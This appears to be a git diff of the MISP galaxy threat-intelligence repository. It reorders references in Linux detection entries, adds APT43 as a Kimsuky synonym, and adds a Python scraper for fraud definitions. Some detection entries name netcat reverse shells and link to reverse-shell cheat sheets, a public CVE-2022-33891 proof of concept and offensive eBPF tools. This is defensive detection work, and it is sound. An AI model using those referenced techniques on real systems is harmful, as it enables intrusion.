"https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet", + "https://www.revshells.com/", + "https://www.hackingtutorials.org/networking/hacking-netcat-part-2-bind-reverse-shells/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_netcat_reverse_shell.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059" + ] + }, + "related": [ + { + "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "related-to" + } + ], + "uuid": "7f734ed0-4f47-46c0-837f-6ee62505abd9", + "value": "Potential Netcat Reverse Shell Execution" + }, { "description": "Detects usage of nohup which could be leveraged by an attacker to keep a process running or break out from restricted environments", "meta": { @@ -94761,8 +89712,8 @@ "logsource.category": "process_creation", "logsource.product": "linux", "refs": [ - "https://gtfobins.github.io/gtfobins/nohup/", "https://www.computerhope.com/unix/unohup.htm", + "https://gtfobins.github.io/gtfobins/nohup/", "https://en.wikipedia.org/wiki/Nohup", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_nohup.yml" ], @@ -94873,10 +89824,10 @@ "logsource.category": "process_creation", "logsource.product": "linux", "refs": [ - "Internal Research", "https://github.com/Gui774ume/ebpfkit", - "https://github.com/pathtofile/bad-bpf", + "Internal Research", "https://github.com/carlospolop/PEASS-ng", + "https://github.com/pathtofile/bad-bpf", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_hack_tools.yml" ], "tags": [ @@ -94899,9 +89850,9 @@ "logsource.category": "process_creation", "logsource.product": "linux", "refs": [ + "https://bpftrace.org/", "https://www.kernel.org/doc/html/v5.0/trace/kprobetrace.html", "https://embracethered.com/blog/posts/2021/offensive-bpf-bpftrace/", - "https://bpftrace.org/", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_bpf_kprob_tracing_enabled.yml" ], "tags": [ @@ -94958,9 +89909,9 @@ "logsource.category": "process_creation", "logsource.product": "linux", "refs": [ - "https://www.cyberciti.biz/faq/linux-hide-processes-from-other-users/", "https://twitter.com/Joseliyo_Jstnk/status/1620131033474822144", "https://blogs.blackberry.com/", + "https://www.cyberciti.biz/faq/linux-hide-processes-from-other-users/", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_mount_hidepid.yml" ], "tags": [ @@ -95161,9 +90112,9 @@ "logsource.category": "process_creation", "logsource.product": "linux", "refs": [ - "https://github.com/W01fh4cker/cve-2022-33891/blob/fd973b56e78bca8822caa3a2e3cf1b5aff5d0950/cve_2022_33891_poc.py", - "https://sumsec.me/2022/CVE-2022-33891%20Apache%20Spark%20shell%20command%20injection.html", "https://github.com/apache/spark/pull/36315/files", + "https://sumsec.me/2022/CVE-2022-33891%20Apache%20Spark%20shell%20command%20injection.html", + "https://github.com/W01fh4cker/cve-2022-33891/blob/fd973b56e78bca8822caa3a2e3cf1b5aff5d0950/cve_2022_33891_poc.py", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_cve_2022_33891_spark_shell_command_injection.yml" ], "tags": [ @@ -95230,8 +90181,8 @@ "logsource.category": "process_creation", "logsource.product": "linux", "refs": [ - "https://www.configserverfirewall.com/ubuntu-linux/ubuntu-add-user-to-root-group/", "https://pberba.github.io/security/2021/11/23/linux-threat-hunting-for-persistence-account-creation-manipulation/", + "https://www.configserverfirewall.com/ubuntu-linux/ubuntu-add-user-to-root-group/", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_usermod_susp_group.yml" ], "tags": [ @@ -95309,5 +90260,5 @@ "value": "Security Software Discovery - Linux" } ], - "version": 20230420 + "version": 20230511 } diff --git a/clusters/threat-actor.json b/clusters/threat-actor.json index afb3922..871d273 100644 --- a/clusters/threat-actor.json +++ b/clusters/threat-actor.json @@ -5235,14 +5235,16 @@ "https://unit42.paloaltonetworks.com/new-babyshark-malware-targets-u-s-national-security-think-tanks/", "https://attack.mitre.org/groups/G0086/", "https://us-cert.cisa.gov/ncas/alerts/aa20-301a", - "https://www.cybereason.com/blog/back-to-the-future-inside-the-kimsuky-kgh-spyware-suite" + "https://www.cybereason.com/blog/back-to-the-future-inside-the-kimsuky-kgh-spyware-suite", + "https://mandiant.widen.net/s/zvmfw5fnjs/apt43-report" ], "synonyms": [ "Velvet Chollima", "Black Banshee", "Thallium", "Operation Stolen Pencil", - "G0086" + "G0086", + "APT43" ] }, "related": [ diff --git a/galaxies/attck4fraud.json b/galaxies/attck4fraud.json index a4aad0f..dd21acc 100644 --- a/galaxies/attck4fraud.json +++ b/galaxies/attck4fraud.json @@ -8,12 +8,13 @@ "Perform Fraud", "Obtain Fraudulent Assets", "Assets Transfer", - "Monetisation" + "Monetisation", + "Due Diligence" ] }, "name": "attck4fraud", "namespace": "misp", "type": "financial-fraud", "uuid": "cc0c8ae9-aec2-42c6-9939-f4f82b051836", - "version": 1 + "version": 2 } diff --git a/tools/gen_360net.py b/tools/gen_360net.py index 5d03562..cefcb5a 100755 --- a/tools/gen_360net.py +++ b/tools/gen_360net.py @@ -40,7 +40,7 @@ for actor in list_data['data']['list']: refs = [] for ref in actor['recommends']: refs.append(ref['url']) - refs = list(set(refs)) + refs = sorted(list(set(refs))) cluster = { 'value': f"{actor['name']} - {actor['code']}", 'description': actor['description'], @@ -67,9 +67,9 @@ json_galaxy = { 'uuid': "20de4abf-f000-48ec-a929-3cdc5c2f3c23", 'version': 1 } + with open(os.path.join('..', 'clusters', '360net.json'), 'r') as f: json_cluster = json.load(f) - json_cluster['values'] = clusters json_cluster['version'] += 1 diff --git a/tools/gen_east_fraud.py b/tools/gen_east_fraud.py new file mode 100644 index 0000000..b25e183 --- /dev/null +++ b/tools/gen_east_fraud.py @@ -0,0 +1,111 @@ +#!/usr/bin/env python3 +# +# A simple convertor of the E.A.S.T. Fraud definitions to a MISP Galaxy datastructure. +# https://www.association-secure-transactions.eu/industry-information/fraud-definitions/ +# Copyright (c) 2023 MISP Project +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU Affero General Public License as +# published by the Free Software Foundation, either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU Affero General Public License for more details. +# +# You should have received a copy of the GNU Affero General Public License +# along with this program. If not, see . + +from bs4 import BeautifulSoup +import json +import requests +import string +import uuid +import os + +url = 'https://www.association-secure-transactions.eu/industry-information/fraud-definitions/' + +try: + response = requests.get(url, timeout=3) +except Exception: + exit("ERROR: Could not download the webpage. Are you sure you have internet connectivity?") + +with open(os.path.join('..', 'galaxies', 'attck4fraud.json'), 'r') as f: + tactics_options = json.load(f)['kill_chain_order']['fraud-tactics'] + +with open(os.path.join('..', 'clusters', 'attck4fraud.json'), 'r') as f: + json_data = json.load(f) +# build value/synonym based mapping to UUID allowing us to lookup what exists +mapping = {} +for cluster in json_data['values']: + mapping[cluster['value'].lower()] = cluster['uuid'] + try: + for synonym in cluster['meta']['synonyms']: + mapping[synonym.lower()] = cluster['uuid'] + except KeyError: + pass + +changed = False +soup = BeautifulSoup(response.content, 'lxml') +entry_content = soup.find('div', class_='entry-content') +t_first = entry_content.find('table') +p_start = t_first.find_previous_sibling() +for child in entry_content.children: + if 'p' == child.name and child.find('strong'): + # new category + category = string.capwords(child.text) + elif 'table' == child.name: + # new sub-category with entries to parse + sub_category = string.capwords(child.find('th').text.split('\n')[0]) + # print(f'{category} - {sub_category}') + for tr in child.find_all('tr'): + try: + k, v = tr.find_all('td') + except ValueError: + continue # skip header row + value = k.text.strip() + description = v.text.strip() + # check by value or synonym if cluster is already known, and skip known + existing_uuid = mapping.get(value.lower()) + if existing_uuid: + print(f'{category} # {sub_category} # {value} is already known as {existing_uuid}') + continue + # prompt as for a new cluster meta kill_chain is not known + print('Found new record:') + print(f' {category} # {sub_category} # {value} # {description}') + while True: + tactic = input(f'What is the right fraud-tactic? options are {tactics_options}\n> ') + if tactic.strip() in tactics_options: + tactic = tactic.strip() + break + elif any(option.startswith(tactic.strip()) for option in tactics_options): + for option in tactics_options: + if option.startswith(tactic.strip()): + tactic = option + print(f'Chosen: {tactic}') + found = True + break + break + else: + print("Given option is not in the list. Please input again.") + + cluster = { + 'value': value, + 'description': description, + 'uuid': str(uuid.uuid5(uuid.UUID("9319371e-2504-4128-8410-3741cebbcfd3"), value)), + 'meta': { + 'refs': ['https://www.association-secure-transactions.eu/industry-information/fraud-definitions/'], + 'kill_chain': [f'fraud-tactics:{tactic}'], + } + } + json_data['values'].append(cluster) + changed = True + +if changed: + json_data['version'] += 1 + with open(os.path.join('..', 'clusters', 'attck4fraud.json'), 'w') as f: + json.dump(json_data, f, indent=2, sort_keys=True, ensure_ascii=False) + f.write('\n') + +print("All done, please don't forget to ./jq_all_the_things.sh, commit, and then ./validate_all.sh.") diff --git a/validate_all.sh b/validate_all.sh index ab9b473..0a4183b 100755 --- a/validate_all.sh +++ b/validate_all.sh @@ -85,5 +85,7 @@ do echo '' done -# check for empyt strings in clusters +# check for empty strings in clusters python3 -m tools.chk_empty_strings + +echo "If you see this message, all is probably well." \ No newline at end of file